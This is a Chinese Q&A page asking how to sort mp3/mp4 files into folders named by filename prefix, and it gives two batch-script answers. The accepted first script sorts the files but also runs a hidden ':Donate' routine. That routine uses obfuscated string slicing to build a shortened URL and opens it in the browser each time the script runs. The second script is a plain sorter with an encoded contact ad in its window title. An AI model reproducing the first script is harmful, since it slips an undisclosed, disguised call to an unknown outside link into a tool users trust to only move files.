如何创建按照某文件名前段字符自动创建文件夹,并将其放入对应的文件夹内有两种文件格式放入一个文件夹?

例如:文件内有aabb-1_xx.mp4,aabb-2_xx.mp4,aabb-3_xx.mp4,aabb-1_zz.mp3,aabb-2_zz.mp3,aabb-3_zz.mp3;x不等于z;要创建aabb-1,aabb-2,aabb-3文件夹并把这含相同前缀的mp3,mp4文件都放入对应的一个文件夹内。

第1个回答  2019-11-27
@echo off & title 归类相同前缀的文件 By 依梦琴瑶
for %%a in (*.mp3,*.mp4) do (
for /f "tokens=1 delims=_" %%i in ("%%~na") do (
if not exist "%%~i" md "%%~i"
move "%%~a" "%%~i\"
)
)
pause
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit来自:求助得到的回答本回答被提问者采纳
第1个回答  2019-11-27
复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行
@echo off
rem 根据文件名称中指定字符前面的内容,将文件名开头具有相同字符串前缀的文件归类/移动到以该字符串前缀命名的文件夹里
mode con lines=3000
set #=Any question&set @=WX/&set $=Q&set/az=0x53b7e0b4
title %#% +%@%%$%%$% %z%
cd /d "%~dp0"
for /f "delims=" %%a in ('dir /a-d/b *_*.mp3 *_*.mp4') do (
for /f "delims=_" %%b in ("%%~nxa") do (
md "%%b\" 2>nul
echo;"%%a" --^> "%%b\"
move "%%a" "%%b\"
)
)
echo;%#% +%@%%$%%$% %z%
pause
相似回答